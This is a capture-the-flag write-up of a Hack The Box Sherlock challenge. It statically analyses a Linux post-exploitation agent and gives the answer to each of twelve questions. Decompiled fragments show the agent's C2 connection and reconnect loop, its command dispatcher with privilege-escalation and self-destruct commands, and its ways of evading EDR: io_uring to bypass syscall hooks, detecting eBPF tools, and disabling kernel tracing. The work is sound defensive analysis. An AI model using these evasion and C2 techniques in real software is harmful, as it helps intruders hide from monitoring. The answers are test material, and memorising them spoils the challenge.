HTB Sherlock: PhantomRing
Scenario
Your organization’s SOC team intercepted a suspicious binary during a routine threat hunting operation on a Linux server. The file was found in /var/tmp with an unusual name and was attempting to establish outbound connections. Initial analysis suggests this could be a post-exploitation agent. Your task is to perform static analysis on the binary to identify its capabilities, extract indicators of compromise, and understand the threat actor’s infrastructure.
Downloaded the file, it is an ELF executable. I immediately throw the binary into VirusTotal.
Artifacts
| Properties | Value | |
|---|---|---|
| MD5 | 6d9a243b881984aa25fc0e770dc0634c | |
| SHA-1 | 6580406b3487c7bc32ae8024add3715131f53d24 | |
| SHA-256 | 2d7b1b2178f76c26893b2a56cbf9b36700235259e76b893d53817d5b66b634a5 | |
| SSDEEP | 768:MXVXtldVNF91tldVNF91tldVNF91tldVNoAYwIg4QoAa0dRgmAzw1MI:Mt5Mw1M | |
| TLSH | T1FEE2A31BB291DF38E4D4F2301BDBD6E0A62078F06736315F275546B72AB33984B78A46 | |
| File Type | ELF | |
| Magic | ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=1f617f2ea259a7ec724d7bbc01627982dc2f0495, for GNU/Linux 3.2.0, not stripped | |
| Telfhash | t123d0a750dd2f928911a13570c72b4f8011486a43737311128530c5d4817431cc085e4e | |
| TrID | ELF Executable and Linkable format (Linux) (50.1%) ELF Executable and Linkable format (generic) (49.8%) | |
| DetectItEasy | ELF64 Operation system: Unix [DYN AMD64-64] Library: GLIBC (2.7) [DYN AMD64-64] Compiler: gcc ((Ubuntu 11.4.0-1ubuntu1~22.04.2) 11.4.0) [DYN AMD64-64] | |
| Magika | ELF | |
| File size | 30.46 KB (31192 bytes) |
Tasks
1. What is the SHA256 hash of the malicious binary?
This can be found from detail section. Answer: 2d7b1b2178f76c26893b2a56cbf9b36700235259e76b893d53817d5b66b634a5
2. What is the IP address hardcoded in the binary for C2 communication?
Head to terminal, we can use strings command to check the hardcoded text on the file. use regex to find the IP address
1
strings agent | grep -oE '([0-9]{1,3}\.){3}([0-9]{1,3})'
Regex explanation:
1
2
3
4
[0-9] digit from 0 to 9
{1,3} minimum 1 with maximum 3 occurrence
\. a literall dot
{3} occure 3 times
Answer: 192.168.56.1
3. What port does the agent connect to on the C2 server?
Load the binary to disassembler, find the main function, inside it we can see there is htons which accept host port
For reference:
1
The `htons` (host-to-network short) function takes a single parameter: a 16-bit unsigned short integer (`uint16_t` or `u_short`) in host byte order, usually representing a network port number or small packet field.
then convert the hex to decimal
1
2
3
4
5
6
7
8
int16_t var_10108
memset(&var_10108, 0, 0x10)
var_10108 = 2
uint16_t htons = htons(x: 4445) // connection port
void destination_buffer
inet_pton(af: 2, src: "192.168.56.1", dst: &destination_buffer)
void* var_10120
int32_t fd
Answer: 4445
4. How many seconds does the agent wait before attempting to reconnect after a failed connection?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if (queue_result s>= 0) {
if (*(cqe_ptr + 8) == 0) {
break
}
fwrite(buf: "connect() failed: trying to reconnect\n", size: 1, count: 38, fp: stderr)
io_uring_cqe_seen(&ring, cqe_ptr)
close(fd)
sleep(seconds: 120)
} else {
fprintf(stream: stderr, format: "io_uring_wait_cqe: %s\n",
strerror(errnum: neg.d(queue_result)), "io_uring_wait_cqe: %s\n")
io_uring_cqe_seen(&ring, cqe_ptr)
close(fd)
sleep(seconds: 120)
}
there is sleep inside, convert the hex to decimal and we got 120 seconds
Answer: 120
5. How many different commands does the agent support? (excluding invalid commands)
In the main function, there is process_cmd() function. On closer inspection, it is a conditional flow, which will accept strings as param, then will execute the command. The command started with cmd_ as prefix.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
if (strncmp(a2, "ss", 2) && strcmp(a2, "netstat")) {
if (!strncmp(a2, "ps", 2)) {
cmd_ps(a0, a1);
return;
} else if (!strncmp(a2, "me", 2)) {
cmd_me(a0, a1);
return;
} else if (!strncmp(a2, "kick", 4)) {
cmd_kick(a0, a1, a2 + 4);
return;
} else if (!strncmp(a2, "privesc", 7)) {
cmd_privesc(a0, a1);
return;
} else if (!strcmp(a2, "sdestruct")) {
cmd_selfdestruct(a0, a1); /* do not return */
} else if (!strncmp(a2, "killbpf", 7)) {
cmd_killbpf(a0, a1);
return;
} else if (!strncmp(a2, "exit", 4)) {
cmd_exit(a0, a1); /* do not return */
} else {
send_all(a0, a1, 4216040, 29);
return;
}
}
The loop looks messy, try to find the function name with that prefix, result: `
1
2
3
4
5
6
7
8
9
10
11
cmd_users
cmd_ss
cmd_get
cmd_recv
cmd_me
cmd_ps
cmd_kick
cmd_privesc
cmd_selfdestruct
cmd_exit
cmd_killbpf
Answer: 11
6. What Linux kernel interface does this malware abuse to evade EDR syscall monitoring?
io_uring works differently by design. Instead of making individual syscalls per operation, it uses a shared ring buffer in memory between userland and the kernel. An EDR hooking connect() or recv() at the syscall level sees nothing, because those syscalls never happen.
Answer: io_uring
7. What file does the agent read to enumerate logged-in users?
Checking the cmd_users
1
2
3
4
5
6
7
8
9
10
11
void* fsbase
int64_t rax = *(fsbase + 0x28)
void var_4018
int32_t rax_2 = read_file_uring(arg1, "/var/run/utmp", &var_4018, 0x2000)
if (rax_2 s> 0) {
void* var_4028_1 = &var_4018
void s
int64_t var_4030_1 = sx.q(snprintf(&s, maxlen: 0x2000, format: "Logged users:\n", &s))
...
}
Answer: /var/run/utmp
8. What directory does the agent scan when searching for SUID binaries for privilege escalation?
Inside cmd_privesc function
1
2
3
4
5
6
7
8
9
void* fsbase;
int64_t rax = *(fsbase + 0x28);
DIR* dirp = opendir("/usr/bin");
if (dirp) {
void dest;
int result = snprintf(&dest, 0x4000, "Potential SUID binaries:\n", &dest);
...
}
Answer: /usr/bin
9. What string does the agent search for in /proc/[pid]/maps to identify security tools using eBPF?
Pretty straight forward
1
2
3
4
5
6
7
8
9
10
if ((zx.d(rdx_14[sx.q(rax_87->d_name[0])]) & 0x800) != 0) {
char s[0x100]
snprintf(&s, maxlen: 0x100, format: "/proc/%s/maps", &rax_87->d_name)
if (read_file_uring(arg1, &s, &s_2, 0x4000) s> 0) {
if (strstr(&s_2, "anon_inode:bpf-map") != 0) {
...
}
}
}
Answer: anon_inode:bpf-map
10. What is the full path of the first tracing file the agent attempts to disable?
1
2
3
4
5
6
7
8
9
10
void* const array_var1 = "/sys/kernel/debug/tracing/tracing_on";
void* const array_var2 = "/sys/kernel/debug/tracing/set_event";
void* const array_var3 = "/sys/kernel/debug/tracing/current_tracer";
void* var_6180;
char s_1[0x10];
for (int i = 0; i <= 2; i += 1) {
int64_t rax_3 = (&array_var1)[i];
...
}
Answer: /sys/kernel/debug/tracing/tracing_on
11. What procfs path does the agent read to find its own executable location before self-destruction?
1
2
3
send_all(arg1, arg2, "Agent will self-destruct\n", strlen("Agent will self-destruct\n"));
char var_218[0x208];
int64_t rax_3 = readlink("/proc/self/exe", &var_218, 0x1ff);
Answer: /proc/self/exe
12. What command string is compared by the agent to trigger deletion of its own binary?
1
2
3
4
if (!strcmp(arg3, "sdestruct")) { // return 0 if equal
cmd_selfdestruct(arg3, arg2);
noreturn;
}
Answer: sdestruct